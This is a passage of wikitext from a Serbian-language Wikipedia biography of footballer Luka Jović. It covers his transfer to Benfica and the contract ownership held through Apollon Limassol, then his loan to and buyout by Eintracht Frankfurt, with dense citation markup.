2019|website=[[Telegraf.rs|Telegraf]]}}</ref> Početkom 2016. godine, Zvezdan Terzić je izjavio da je zarada Crvene zvezde od prodaje Luke Jovića ograničena na dva miliona evra,<ref>{{Cite web|url=https://www.telegraf.rs/sport/1956296-terzic-o-jovicu-tacno-znamo-koliko-mozemo-da-uzmemo-za-njega|title=TERZIĆ O JOVIĆU: Tačno znamo koliko možemo da uzmemo za njega!|date=19. 1. 2016|accessdate=2. 12. 2019|website=[[Telegraf.rs|Telegraf]]}}</ref> odnosno da je 70 odsto ugovora ranije prodato [[kipar]]skom [[FK Apolon Limasol|Apolonu]], formalnom predstavniku investicionog fonda Pinija Zahavija, za 1,4 miliona evra.<ref>{{Cite web|url=https://www.sportske.net/vest/domaci-fudbal/terzic-otkrio-koliko-ce-zvezda-zaraditi-na-jovicu-250531.html|last=Vidojević|first=Mihajlo|title=Terzić otkrio koliko će Zvezda zaraditi na Joviću!|date=19. 1. 2016|accessdate=2. 12. 2019|website=sportske.net}}</ref> Odlaskom Luke Jovića iz matičnog kluba u inostranstvo,<ref>{{Cite web|url=http://rs.n1info.com/Sport-Klub/Fudbal/a141148/Terzic-Budzet-za-Evropu-11-miliona-evra.html|last=Jocić|first=Branislav|title=Terzić: Budžet za Evropu 11 miliona evra!|date=8. 3. 2016|accessdate=2. 12. 2019|website=[[N1]]|archive-date=07. 12. 2019|archive-url=https://web.archive.org/web/20191207132442/http://rs.n1info.com/Sport-Klub/Fudbal/a141148/Terzic-Budzet-za-Evropu-11-miliona-evra.html|url-status=dead}}</ref> Crvena zvezda je za preostali deo ugovora prihodovala 600 hiljada evra.<ref>{{Cite web|url=https://mozzartsport.com/fudbal/vesti/zvezdina-klasa-od-15-000-000-evra/264359|title= Zvezdina klasa od 15.000.000 evra!|date=1. 7. 2017|accessdate=2. 12. 2019|website=mozzartsport.com}}</ref> Iako su Luka Jović, [[Predrag Rajković]] i [[Vukašin Jovanović]] klub napustili u toku sezone, Crvena zvezda im je dodelila medalje za učešće u osvajanju trofeja u Superligi Srbije.<ref name="3Medalje">{{Cite web|url=https://mondo.rs/Sport/Fudbal/a905936/ZVEZDATV-Jovic-Rajkovic-i-Jovanovic-dobili-medalje.html|title=I oni su osvojili titulu! (VIDEO)|date=25. 5. 2016|accessdate=7. 12. 2019|website=mondo.rs}}</ref> === Benfika === Nakon višemesečnog skautinga emisara tog kluba,<ref>{{Cite web|url=https://www.telegraf.rs/sport/1557794-luka-jovic-zaludeo-portugalce-benfika-otima-portu-zvezdinog-falkaa|title=LUKA JOVIĆ ZALUDEO PORTUGALCE: Benfika otima Portu Zvezdinog Falkaa?|date=8. 5. 2015|accessdate=8. 12. 2019|website=[[Telegraf.rs|Telegraf]]}}</ref> Jović je krajem januara 2016. potpisao ugovor sa lisabonskom [[FK Benfika|Benfikom]] na pet i po godina.<ref>{{cite web|url=http://www.slbenfica.pt/noticias/detalhedenoticia/tabid/2788/ArticleId/44570/language/pt-PT/.aspx|title=Jović: "Aprender e melhorar todos os dias"|trans-title=Jović: „Učiti i napredovati svakodnevno“|date=2. 2. 2016|publisher=FK Benfika, zvanična prezentacija|accessdate=2. 2. 2016|url-status=dead|archiveurl=https://web.archive.org/web/20160223213443/http://www.slbenfica.pt/noticias/detalhedenoticia/tabid/2788/ArticleId/44570/language/pt-PT/.aspx|archivedate=23. 02. 2016|language=pt}}</ref> Prema pisanju portugalskog lista ''Rekord'', u izveštaju koji je Benfika dostavila Komisiji za hartije od vrednosti, na ime obeštećenja za Jovićev ugovor isplaćeno je 6,6 miliona evra, od čega je, prema ranije dogovorenoj dinamici, njegovom matičnom klubu pripalo 600 hiljada evropskih novčanica.<ref>{{Cite web|url=http://mondo.rs/a870329/Sport/Fudbal/Luka-Jovic-presao-u-Benfiku.html|title=Jović potpisao za Benfiku!|accessdate=28. 1. 2016|date=26. 6. 2018|last=Terzić|first=Jovan|publisher=mondo.rs}}</ref> Tada je definisana i otkupna klauzula za tek punoletnog napadača,{{efn|Prema propozicijama [[FIFA|Međunarodne federacije fudbalskih asocijacija]], inostrani transferi dozvoljeni su samo za igrače starije od 18 godina, sem u posebnim slučajevima, za koje su propisani određeni uslovi.<ref name="FIFApravilnik"/>|name=iip}} koja je iznosila 60 miliona u istoj valuti, ne računajući iznos [[Porez na dodatu vrednost|poreza na dodatu vrednost]].<ref>{{Cite web|url=http://www.novosti.rs/%D0%B2%D0%B5%D1%81%D1%82%D0%B8/%D1%81%D0%BF%D0%BE%D1%80%D1%82.434.html:601056-BENFIKA-OTKRILA-Jovic-kostao-6600000-a-Saponjic-3000000-evra|title=BENFIKA OTKRILA: Jović koštao 6.600.000, a Šaponjić 3.000.000 evra|date=17. 4. 2016|accessdate=8. 12. 2019|website=[[Večernje novosti]]}}</ref> Jović je u svom novom klubu zadužio dres sa brojem 35, a planirano je da najpre igra za razvojni tim i bude u konkurenciji za prvu ekipu,<ref>{{Cite web|url=https://mondo.rs/Sport/Fudbal/a871777/Luka-Jovic-Benfika.html|title=Novi "orao" Jović: Benfika? Pravi klub|date=2. 2. 2016|accessdate=8. 12. 2019|website=mondo.rs}}</ref> te je licenciran za utakmice [[Liga šampiona 2015/16.#Četvrtfinale|četvrtfinala]] Lige Šampiona.<ref name="BenfikaLŠ35">{{Cite web|url=https://www.danas.rs/sport/barsa-na-atletiko/|title=Barsa na Atletiko|date=18. 3. 2016|accessdate=8. 12. 2019|last=G|first=A.|website=[[Danas (novine)|Danas]]}}</ref> Na svom debitantskom nastupu za rezervni tim Benfike, u 34. kolu [[Druga liga Portugalije u fudbalu|Druge lige Portugalije]], Jović je asistirao [[Ivan Šaponjić|Ivanu Šaponjiću]] u remiju sa ekipom [[FK Kovilja|Kovilje]], rezultatom 2 : 2.<ref>{{cite web|url=http://ligaportugal.pt/oou/jogo/20152016/ledmanligapro/34/9|title=SL Benfica B – SC Covilhã|website=ligaportugal.pt|date=9. 3. 2016|accessdate=8. 12. 2019|language=pt|archive-url=https://web.archive.org/web/20160409215219/http://www.ligaportugal.pt/oou/jogo/20152016/ledmanligapro/34/9|archive-date=09. 04. 2016|url-status=dead}}</ref> Nešto kasnije, [[20. mart]]a iste godine, Jović je debitovao za prvi tim Benfike, kada je na teren kročio u 84. minutu prvenstvene utakmice protiv [[FK Boavista|Boaviste]], koju je Benfika dobila minimalnim rezultatom.<ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/triler-debi-luke-jovica-benfikin-spas-u-poslednji-cas-video/130811|title=Triler debi Luke Jovića! Benfikin spas u poslednji čas! (VIDEO)|date=20. 3. 2016|accessdate=29. 11. 2019|website=mozzartsport.com}}</ref> U Ligi šampiona debitovao je pred kraj revanš susreta sa [[minhen]]skim [[FK Bajern Minhen|Bajernom]], ušavši u igru umesto [[Elizeu]]a, pri rezultatu 2 : 2. Benfika je nakon dvomeča eliminisana iz daljeg takmičenja.<ref name="Bajern22">{{Cite web|url=https://sport.blic.rs/fudbal/evropski-fudbal/iz-minuta-u-minut-benfika-bajern-22/jny0exh|title=IZ MINUTA U MINUT Benfika - Bajern 2:2|date=13. 4. 2016|accessdate=8. 12. 2019|last=Rangelov|first=M.|website=[[Blic (novine)|Blic]]}}</ref> Prethodno je bio strelac za Benfiku B, u pobedi od 3 : 1 na gostovanju sastavu Orijentala.<ref>{{Cite web|url=https://www.espreso.rs/sport/fudbal/44636/trenutak-za-istoriju-luka-jovic-dobio-svojih-5-minuta-protiv-bajerna-video|title=Trenutak za istoriju: Luka Jović dobio svojih 5 minuta protiv Bajerna! (VIDEO)|date=13. 4. 2016|accessdate=8. 12. 2019|website=espreso.rs}}</ref> Za drugi tim je pogodio još protiv rezervista [[FK Vitorija Gimarais|Vitorije Gimarais]].<ref>{{Cite web|url=https://www.youtube.com/watch?v=whZ6OYLO0a8|title=Segunda Liga: SL Benfica 'B' 3-3 V. Guimarães 'B'|date=25. 4. 2016|accessdate=8. 12. 2019|work=Information Glorious|publisher=Jutjub|language=pt}}</ref> Po okončanju sezone, Benfika je osvojila titulu šampiona portugalskog prvenstva.<ref name="port2016">{{cite web|url=http://www.rsssf.com/tablesp/port2016.html|title=Portugal 2015/16|last=Stokkermans|first=Karel|last2=Di Maggio|first2=Roberto|publisher=rsssf.com|date=18. 7. 2019|accessdate=8. 12. 2019|language=en}}</ref> Jović je početak naredne sezone propustio zbog povrede. Kasnije je izostavljen sa spiska licenciranih igrača za [[Liga šampiona 2016/17.#Grupna faza|grupnu fazu Lige šampiona]].<ref name="NijezaLŠ">{{Cite news|url=https://arhiva.vesti-online.com/Sport/Fudbal/596370/Srbi-nisu-dovoljno-dobri-za-Ligu-sampiona|title=Srbi nisu dovoljno dobri za Ligu šampiona|date=3. 9. 2016|accessdate=8. 12. 2019|publisher=[[Vesti (novine)|Vesti onlajn]]|archive-date=2024-12-08|archive-url=https://web.archive.org/web/20241208215028/https://arhiva.vesti-online.com/Sport/Fudbal/596370/Srbi-nisu-dovoljno-dobri-za-Ligu-sampiona|url-status=dead}}</ref> Najveći deo sezone nastupao je za B tim Benfike, za koji je odigrao 11 utakmica uz 2 gola i 1 asistenciju.<ref name="TM"/> Pogađao je protiv ekipa [[FK Santa Klara|Santa Klare]] i [[FK Freamunde|Freamunde]].<ref>{{Cite web|url=https://www.espreso.rs/sport/fudbal/78761/jovic-pokazao-portugalcima-zasto-je-dobio-nadimak-srpski-falkao-video/strana/2|title=Jović pokazao Portugalcima zašto je dobio nadimak Srpski Falkao! (VIDEO)|date=2. 10. 2016|accessdate=8. 12. 2019|website=espreso.rs}}</ref><ref>{{Cite web|url=https://www.sofascore.com/sr/sc-freamunde-sl-benfica/lfdspOE|title= SL Benfica B - SC Freamunde|date=19. 2. 2017|accessdate=8. 12. 2019|website=sofascore.com}}</ref> U [[Prva liga Portugalije u fudbalu|Prvoj ligi Portugalije]] priliku je dobio u minimalnom porazu od [[FK Vitorija Setubal|Vitorije Setubal]] u 19. kolu.<ref>{{Cite web|url=https://www.fcupdate.nl/voetbaluitslagen/263337/primeira-liga-vitoria-setubal-benfica/|title=Vitoria Setubal - Benfica: 1 - 0|date=30. 1. 2017|accessdate=8. 12. 2019|website=fcupdate.nl|language=nl}}</ref> Za prvi tim je tokom takmičarske 2016/17. nastupio još na susretu sa [[FK Vizela|Vizelom]] u okviru [[Liga kup Portugalije|Liga kupa Portugalije]]. Na oba događaja u igru je ušao sa klupe.<ref>{{Cite web|url=https://www.sport.de/fussball/portugal-taca-da-liga/ma8344536/sl-benfica_fc-vizela/liveticker/|title=Liveticker SL Benfica - FC Vizela 4:0|date=3. 1. 2017|accessdate=8. 12. 2019|website=fcupdate.nl|language=de}}</ref> Kao povremeni član prvog tima, Jović je učestvovao u odbrani titule portugalskog šampionata.<ref name="port2017">{{cite web|url=http://www.rsssf.com/tablesp/port2017.html|title=Portugal 2016/17|last=Stokkermans|first=Karel|last2=Di Maggio|first2=Roberto|publisher=rsssf.com|date=18. 7. 2019|accessdate=8. 12. 2019|language=en}}</ref> Kako u lisabonskoj Benfici nije dobijao puno prilika da se iskaže pored [[Žonas]]a, [[Konstantinos Mitroglu|Mitroglua]] i [[Raul Himenez|Himeneza]], klub je ugovorio pozajmicu srpskom napadaču.<ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/godinu-i-po-dana-dana-posle-transfera-vrednog-6-600-000-evra-luka-jovic-ide-iz-benfike/260920|title=Godinu i po dana dana posle transfera vrednog 6.600.000 evra - Luka Jović ide iz Benfike|date=22. 5. 2017|accessdate=29. 11. 2019|website=mozzartsport.com}}</ref> Pod ugovorom je ostao do aprila 2019. godine, kada je na ime obeštećenja dobijeno 7 miliona evra.<ref>{{Cite web|url=http://www.desavanjaubijeljini.com/sr/news/Sport//5082.fudbaler-iz-bijeljine-viscarone-nije-igrac-benfike---luka-jovic-potpisao-novi-ugovor!.html|title=Fudbaler iz Bijeljine više nije igrač Benfike - Luka Jović potpisao novi ugovor!|date=17. 4. 2019|accessdate=8. 12. 2019|work=mondo.ba|publisher=desavanjaubijeljini.com|archive-date=08. 12. 2019|archive-url=https://web.archive.org/web/20191208221418/http://www.desavanjaubijeljini.com/sr/news/Sport//5082.fudbaler-iz-bijeljine-viscarone-nije-igrac-benfike---luka-jovic-potpisao-novi-ugovor!.html|url-status=}}</ref> === Ajntraht Frankfurt === ==== Sezona 2017/18 : Pozajmica iz Benfike ==== [[Datoteka:Frankfurt, Grüneburgweg 81, DFB-Pokal.jpg|mini|160p|desno|Jović je 2018. sa ekipom Ajntrahta osvojio trofej u [[Kup Nemačke u fudbalu|Kupu Nemačke]]]] Prema ranijim najavama, Jović je 27. juna 2017. godine zvanično predstavljen kao pojačanje [[FK Ajntraht Frankfurt|Ajntrahta]] iz [[Frankfurt na Majni|Frankfurta]]. Klubu je pristupio uz sporazum o dvogodišnjem ustupanju iz Benfike, sa opcijom otkupa ugovora nakon tog perioda.<ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/potpisano-luka-jovic-do-2019-za-200-000-evra/264054|title=Potpisano: Luka Jović do 2019! Za 200.000 evra|date=27. 6. 2017|accessdate=29. 11. 2019|website=mozzartsport.com}}</ref> U svom novom timu, Jović je zadužio dres sa brojem 8, a na svom debiju, u prijateljskoj utakmici protiv niželigaša Heftriha, postigao je 6 od ukupno 15 golova.<ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/luka-jovic-na-debiju-dao-sest-komada/264636|title=Luka Jović na debiju dao šest komada!|date=4. 7. 2017|accessdate=29. 11. 2019|website=mozzartsport.com}}</ref> Prvi zvanični susret odigrao je u okviru prvog kola [[Kup Nemačke u fudbalu|Kupa Nemačke]], 12. avgusta iste godine, kada je u igru ušao umesto [[Sebastijen Ale|Sebastijena Alea]], pred kraj susreta sa niželigašem Erntebrikom, pri rezultatu od 3 : 0 za svoj tim.<ref>{{Cite web|url=https://www.wp.de/sport/lokalsport/siegen-wittgenstein/erndtebrueck-beim-0-3-gegen-frankfurt-achtbar-id211561601.html|title=DFB-Pokal: TuS Ernd tebrück zufrieden mit 0:3 gegen Frankfurt|trans-title=Erntebrik zadovoljan posle 0 : 3 sa Frankfurtom|date=12. 8. 2017|accessdate=12. 12. 2019|last=Moeller|first=Hans-Georg|website=wp.de|language=de}}</ref> U [[Bundesliga Njemačke u fudbalu|Bundesligi Nemačke]] debitovao je 16. septembra, protiv [[FK Augzburg|Augzburga]], kada je u 67. minutu igre na terenu zamenio svog sunarodnika [[Mijat Gaćinović|Mijata Gaćinovića]].<ref>{{Cite web|url=https://www.sportske.net/vest/medjunarodni-fudbal/bl-roben-leva-ali-i-luka-jovic-veljkovic-tragicar-313983.html|title=BL - Roben, Leva, ali i Luka Jović! Veljković tragičar!|date=16. 9. 2017|accessdate=29. 11. 2019|last=Obrenović|first=Aleksandar|website=sportske.net}}</ref> U 80. minutu istog susreta, Jović je postigao jedini pogodak za svoj tim, nakon kornera [[Džonatan de Guzman|Džonatana de Guzmana]], u porazu od 2 : 1 na domaćem terenu.<ref>{{Cite web|url=https://informer.rs/sport/fudbal/348881/video-bundesliga-gol-luke-jovica-glavom-debiju-bajern-ponovo-mocan|title=(VIDEO) BUNDESLIGA: Gol Luke Jovića glavom na debiju, Bajern ponovo moćan!|date=16. 9. 2017|accessdate=29. 11. 2019|website=[[Informer]]}}</ref> Jović se u startnoj postavi Ajntrahta prvi put našao u drugom kolu Kupa, kada je bio asistent za poslednji od 4 pogotka protiv sastava Švajnfurta.<ref>{{Cite web|url=https://www.fupa.net/berichte/eintracht-frankfurt-individuelle-klasse-setzt-sich-durch-sch-1011185.html|title=Individuelle Klasse setzt sich durch: Schnüdel-Traum zu Ende|trans-title=Preovladao individualni kvalitet: Kraj snovima ekipe Šnudela|date=12. 8. 2017|accessdate=12. 12. 2019|last=Willmerdinger|first=Mathias|website=fupa.net|language=de}}</ref> Prvi ligaški start zabeležio je u 16. kolu, kada je njegov tim savladao [[FK Hamburger|Hamburger]] na gostovanju, rezultatom 2 : 1. Jović tada nije imao konkretan statistički učinak, a na terenu je proveo 62 minuta, posle čega ga je zamenio [[Kevin Prins Boateng]].<ref>{{Cite web|url=https://www.ran.de/datenbank/fussball/bundesliga/ma8417584/hamburger-sv_eintracht-frankfurt/direkter-vergleich/|title=Hamburger SV - Eintracht Frankfurt - 1:2|date=12. 12. 2017|accessdate=12. 12. 2019|website=ran.de|language=de|archive-date=12. 12. 2019|archive-url=https://web.archive.org/web/20191212210243/https://www.ran.de/datenbank/fussball/bundesliga/ma8417584/hamburger-sv_eintracht-frankfurt/direkter-vergleich/|url-status=}}</ref> Odmah zatim, u sledećem kolu, Jović je bio strelac prvog gola na susretu sa [[FK Šalke 04|Šalkeom]], kada je u drugom minutu pogodio na asistenciju Mijata Gaćinovića.<ref>{{Cite web|url=http://sportklub.rs/Fudbal/Bundesliga/a224111-Srpska-veza-u-Ajntrahtu-Bajern-tesko-Keln-uspeo.html|title=Srpska veza u Ajntrahtu, Bajern teško, Keln uspeo!|date=16. 12. 2017|accessdate=12. 12. 2018|last=Pavlović|first=Marko|website=[[Sport klub]]}}</ref> Na prva dva odigrana susreta u 2018. godini, Jović je u igru ulazio sa klupe. Po stupanju na teren, na obe utakmice, protiv [[FK Volfsburg|Volfsburga]],<ref>{{Cite web|url=https://www.skysports.com/football/wolfsburg-vs-frankfurt/teams/377683|title=Wolfsburg 1 - 3 Frankfurt - Match Report & Highlights|trans_title=Volfsburg 1 : 3 Frankfurt - izveštaj i detalji sa utakmice|date=20. 1. 2018|accessdate=12. 12. 2019|language=en|publisher=skysports.com}}</ref> odnosno [[FK Borusija Menhengladbah|Borusije]] iz [[Menhengladbah]]a, Jović je bio strelac i na taj način potvrdio pobede svog tima.<ref>{{Cite web|url=https://mondo.ba/Sport/Fudbal/a784690/Ajntraht-Borusija-Menhengladbah-2-0-Bundesliga-20.-kolo.html|title=Boateng i Jović pogurali Ajntraht na DRUGO mjesto!|date=26. 1. 2018|accessdate=12. 12. 2018|website=mondo.ba}}</ref> Na narednom susretu, u porazu od 3 : 0 od Augzburga, Jović je na terenu proveo čitav meč.<ref>{{cite news|url=https://www.bundesliga.com/en/news/Bundesliga/augsburg-eintracht-frankfurt-live-blog-prince-boateng-marco-fabian-max-472009.jsp|title=Augsburg 3-0 Eintracht Frankfurt: As it happened!|trans-title=Augzburg 3 : 0 Ajntraht Frankfurt, sled događaja|publisher=Bundesliga Nemačke u fudbalu, zvanična prezentacija|date=4. 2. 2018|accessdate=12. 12. 2019|language=en|archive-date=2019-12-12|archive-url=https://web.archive.org/web/20191212210247/https://www.bundesliga.com/en/news/Bundesliga/augsburg-eintracht-frankfurt-live-blog-prince-boateng-marco-fabian-max-472009.jsp}}</ref> Posle toga je bio asistent kod pogotka [[Ante Rebić|Antea Rebića]], u pobedi od 4 : 2 nad sastavom [[FK Keln|Kelna]].<ref>{{Cite web|url=https://sport.blic.rs/fudbal/evropski-fudbal/bundesliga-jovic-bolji-od-jojica-asistencijom-doprineo-ubedljivoj-pobedi-kosticev-hsv/nkblwr5|title=BUNDESLIGA Jović bolji od Jojića: Asistencijom doprineo ubedljivoj pobedi, Kostićev HSV poražen u Dortmundu|date=10. 2. 2018|accessdate=12. 12. 2018|last=Vojinović|first=Jovan|website=[[Blic (novine)|Blic]]}}</ref> Tokom marta i aprila 2018, Jović je bio strelac na četiri uzastopne bundesligaške utakmice, protiv [[FK Borusija Dortmund|Borusije]] iz [[Dortmund]]a, [[FK Majnc 05|Majnca]], [[FK Verder Bremen|Verdera]] iz [[Bremen]]a i [[FK Hofenhajm|Hofenhajma]].<ref>{{Cite web|url=https://arhiva.vesti-online.com/Sport/Fudbal/690010/Bundesliga-Jovic-strelac-ali-Ajntraht-porazen-u-Dortmundu-u-sudijskoj-nadoknadi-VIDEO|title=Bundesliga: Jović strelac, ali Ajntraht poražen u Dortmundu u sudijskoj nadoknadi (VIDEO)|date=11. 3. 2018|accessdate=12. 12. 2018|website=[[Vesti (novine)|Vesti onlajn]]|archive-date=2023-10-09|archive-url=https://web.archive.org/web/20231009223056/https://arhiva.vesti-online.com/Sport/Fudbal/690010/Bundesliga-Jovic-strelac-ali-Ajntraht-porazen-u-Dortmundu-u-sudijskoj-nadoknadi-VIDEO|url-status=dead}}</ref><ref>{{Cite web|url=https://mondo.rs/Sport/Fudbal/a1089988/Ajntraht-Majnc-3-0-strelac-Luka-Jovic-asistencija-Filipa-Kostica-Bundes-liga-2018.html|title=Jović opet strelac, Šalke odložio slavlje Bajerna|date=17. 3. 2018|accessdate=12. 12. 2018|website=mondo.rs}}</ref><ref>{{Cite web|url=https://www.espreso.rs/sport/fudbal/238679/uzalud-je-jovic-cepao-mrezu-video|title=Jović ponovo cepao mrežu, nula u Majncu! (VIDEO)|date=1. 4. 2018|accessdate=12. 12. 2018|website=espreso.rs}}</ref><ref>{{Cite web|url=https://www.vavel.com/en/international-football/2018/04/08/germany-bundesliga/901648-eintracht-frankfurt-1-1-tsg-1899-hoffenheim.html|title=Eintracht Frankfurt 1-1 TSG 1899 Hoffenheim: Serge Gnabry earns die Kraichgauer a point|trans-title=Serž Gnabri stavio tačku za bod Krajhgauera|date=8. 4. 2018|accessdate=12. 12. 2019|last=Rees|first=James|website=vavel.com|language=en}}</ref> U polufinalu Kupa Nemačke, Jović je postigao jedini pogodak za minimalnu pobedu nad Šalkeom, čime je obezbedio plasman svog tima u finale.<ref>{{Cite web|url=http://mondo.rs/a1098023/Sport/Fudbal/Luka-Jovic-gol-za-finale-Kupa-Nemacke-na-Salke-Ajntraht.html|title=GOLČINA Luke Jovića, za finale Kupa!|accessdate=18. 10. 2014|date=18. 4. 2018|publisher=mondo.rs}}</ref> Jović je na finalnom susretu sa [[minhen]]skim [[FK Bajern Minhen|Bajernom]], koji je Ajntraht dobio rezultatom 3 : 1, presedeo na klupi za rezervne fudbalere. Ajntraht je tako, nakon 30 godina ponovo osvojio trofej u tom takmičenju.<ref name="Kup2018">{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/nikov-poklon-za-oprostaj-ajntraht-osvojio-kup-posle-30-godina-gacinovic-dotukao-bajern-video/295705|title=Nikov poklon za oproštaj - Ajntraht osvojio kup posle 30 godina, Gaćinović dotukao Bajern! (VIDEO)|date=19. 5. 2018|accessdate=29. 11. 2019|last=Protić|first=Marko|website=mozzartsport.com}}</ref> ==== Sezona 2018/19 : Otkup ugovora ==== Jović je svoju prvu utakmicu u takmičarskoj 2018/19. odigrao u [[Superkup Nemačke u fudbalu 2018.|Superkupu Nemačke]], protiv [[minhen]]skog [[FK Bajern Minhen|Bajerna]], [[12. avgust]]a 2018. godine. U igru je tom prilikom ušao umesto [[Sebastijen Ale|Sebastijena Alea]], u 76. minutu, pri vođstvu protivničkog tima od 4 : 0, dok je tadašnji rival do kraja utakmice postigao još jedan pogodak.<ref name="DFB-SuperPokal">{{cite news|url=https://www.espn.com/soccer/report?gameId=511471|title=David Alaba injury sours Bayern Munich's third straight German Super Cup title|trans-title=Povreda Davida Alabe zakiselila Bajernovu treću uzastopnu pobedu u Superkupu Nemačke|last=Lovell|first=Mark|publisher=ESPN|date=5. 8. 2017|accessdate=6. 12. 2019|language=en}}</ref> Nekoliko dana kasnije, Jović je odigrao svih 90 minuta na susretu prvog kola Kupa Nemačke, kada je njegov tim poražen rezultatom 2 : 1 od sastava domaćeg Ulma i eliminisan iz daljeg takmičenja.<ref>{{Cite web|url=https://www.sport.de/fussball/deutschland-dfb-pokal/ma8740446/ssv-ulm-1846_eintracht-frankfurt/taktische-aufstellung/|title=SSV Ulm 1846 - Eintracht Frankfurt 2:1|date=18. 8. 2018|accessdate=13. 12. 2019|publisher=sport.de|language=de}}</ref> Posle promenljivih igara i ograničene minutaže na početku sezone, Jović je svoj prvi gol u novoj sezoni postigao na otvaranju [[UEFA Liga Evrope 2018/19.#Grupa H|grupne faze]] Lige Evrope, kada je postavio konačnih 1 : 2 na gostovanju [[FK Olimpik Marselj|Olimpiku]] u [[Marselj]]u.<ref>{{cite web|url=https://www.mozzartsport.com/fudbal/vesti/odjeknula-lukina-bomba-na-praznom-velodromu-radonjic-kumovao-video/306662|title=Odjeknula Lukina bomba na praznom Velodromu – Radonjić kumovao! (VIDEO)|publisher=mozzartsport.com|date=20. 9. 2018|accessdate=30. 11. 2019}}</ref><ref>{{Cite web|url=http://www.rts.rs/page/sport/ci/story/31/fudbal/3264153/pocinje-liga-evrope-olimpijakos-docekuje-betis.html|title=Jović dokrajčio Marselj, Remi u Pireju|date=20. 9. 2018|accessdate=13. 12. 2019|website=[[Radio-televizija Srbije]]}}</ref><ref>{{Cite web|url=https://fudbal.hotsport.rs/2018/09/20/liga-evrope-jovic-golcinom-pokorio-marsej-vilijan-utisao-solun-video/|title=LIGA EVROPE: Jović golčinom pokorio Marsej, Vilijan utišao Solun (VIDEO)|date=20. 9. 2018|accessdate=13. 12. 2019|website=hotsport.rs|archive-date=2023-10-09|archive-url=https://web.archive.org/web/20231009223054/https://fudbal.hotsport.rs/2018/09/20/liga-evrope-jovic-golcinom-pokorio-marsej-vilijan-utisao-solun-video/}}</ref> Poslednjeg dana septembra 2018, Jović je bio strelac u pobedi od 4 : 1 nad sastavom [[FK Hanover 96|Hanovera]], ušavši u igru sa klupe.<ref>{{Cite web|url=http://mondo.rs/a1135662/Sport/Fudbal/Luka-Jovic-gol-za-Ajntraht-Frankfurt-protiv-Hanovera.html|title=Jović opet iskoristio minute - prvi gol u Bundesu|date=30. 9. 2018|accessdate=30. 11. 2019|publisher=mondo.rs}}</ref><ref>{{Cite web|url=https://sport.blic.rs/fudbal/evropski-fudbal/ajntraht-ubedljiv-protiv-fenjerasa-pogledajte-prvenac-luke-jovica/9qzld3t|title=AJNTRAHT UBEDLJIV PROTIV FENJERAŠA Pogledajte PRVENAC Luke Jovića!|date=30. 9. 2018|accessdate=30. 11. 2019|last=Andonov|first=Vladimir|website=[[Blic (novine)|Blic]]}}</ref> Jović je golgetersku seriju nastavio na narednim utakmicama. U drugom kolu, Lige Evrope, 4. oktobra, Ajntraht je na svom terenu ubedljivo pobedio ekipu [[FK Lacio|Lacija]], istim rezultatom koji je ostvario na prethodnom takmičarskom susretu, dok je Jović bio strelac trećeg pogotka za svoj tim.<ref>{{cite web|url=https://www.mozzartsport.com/fudbal/vesti/%D0%9B%D0%98%D0%93%D0%90-%D0%95%D0%92%D0%A0%D0%9E%D0%9F%D0%95-hladnokrvni-jovic-majstorski-bocka-mijat-sve-pakuje-dali-ga-i-kostic-markovic-prijovic-video/307944|title=LIGA EVROPE! Hladnokrvni Jović majstorski bocka, Mijat sve pakuje, dali ga i Kostić, Marković, Prijović… (VIDEO)|last=Klisarić|first=Strahinja|publisher=mozzartsport.com|date=4. 10. 2018|accessdate=30. 11. 2019}}</ref> U narednom kolu Bundeslige zabeležio je gol i asistenciju za pobedu svog tima od 2 : 1 nad [[FK Hofenhajm|Hofenhajmom]],<ref>{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/luka-jovic-is-on-fire-tri-zaredom-najbolji-golgeter-ajntrahta-u-2018-video/308190|title=Luka Jović is on fire! Tri zaredom! Najbolji golgeter Ajntrahta u 2018. (VIDEO)|date=7. 10. 2018|accessdate=30. 11. 2019|website=mozzartsport.com}}</ref> dok je 19. oktobra postigao pet golova u pobedi od 7 : 1 protiv [[FK Fortuna Diseldorf|Fortune]] iz [[Diseldorf]]a, u okviru osmog kola Bundeslige.<ref>{{Cite web|url=https://www.b92.net/sport/fudbal/vesti.php?yyyy=2018&mm=10&dd=19&nav_id=1458205|title=Jović "petardom" uništio Fortunu, Kostić dvaput asistirao!|accessdate=19. 10. 2018|date=19. 10. 2018|last=LJ|first=M.|publisher=[[B92]]}}</ref> Jović je tako postao prvi fudbaler u istoriji Ajntrahta koji je dao pet golova na jednom meču,<ref name="Najmlađisa5AF">{{Cite web|url=https://www.mozzartsport.com/fudbal/vesti/petarda-iz-snova-niko-nikad-kao-luka-video/309305|title=Petarda iz snova! Niko nikad kao Luka (VIDEO)|date=19. 10. 2018|accessdate=29. 11. 2019|website=mozzartsport.com}}</ref> kao i najmlađi fudbaler sa takvim učinkom u istoriji nemačke Bundeslige.<ref name="Najmlađisa5BL">{{Cite web|url=http://sportklub.rs/Fudbal/Bundesliga/a255079-Jovic-Reci-nisu-potrebne.html|title=Jović: Reči nisu potrebne|date=20. 10. 2018|accessdate=12. 12. 2019|last=Vesić|first=Vladimir|publisher=[[Sport klub]]}}</ref> Zapažen učinak Jović je ostvario i u 10. kolu nemačkog šampionata, kada je bio asistent kod pogotka Antea Rebića u pobedi od 3 : 0 na gostovanju ekipi [[FK Štutgart|Štutgarta]].<ref>{{Cite web|url=https://mondo.rs/Sport/Fudbal/a1143010/Stutgart-Ajntraht-0-3-Luka-Jovic-asistencija.html|title=Umesto gola, asistencija Luke Jovića|date=2. 11. 2018|accessdate=13. 12. 2019|publisher=mondo.rs}}</ref> Odmah zatim, pogodio je na gostovanju svom bivšem klubu, [[FK Apolon Limasol|Apolonu]], u [[Limasol]]u,{{efn|Iako Jović prethodno nije nastupao za taj klub, Apolon je formalno bio većinski vlasnik prava na ugovor igrača prilikom prelaska u Benfiku.<ref>{{cite web|url=https://www.kurir.rs/sport/fudbal/3143557/luki-jovicu-se-cepa-srce-kako-cu-protiv-mog-apolona|title=LUKI JOVIĆU SE CEPA SRCE: Kako ću protiv mog Apolona?|last=P|first=D.|publisher=[[Kurir (novine)|Kurir]]|date=25. 10. 2018|accessdate=13. 12. 2019}}</ref> Klub iz Limasola zastupa investicioni fond [[Pini Zahavi|Pinija Zahavija]], koji je otkupio 70 procenata ugovora od Jovićevog matičnog kluba, Crvene zvezde. Na osnovu toga je kasnije imao pravo prvenstva u odnosu na 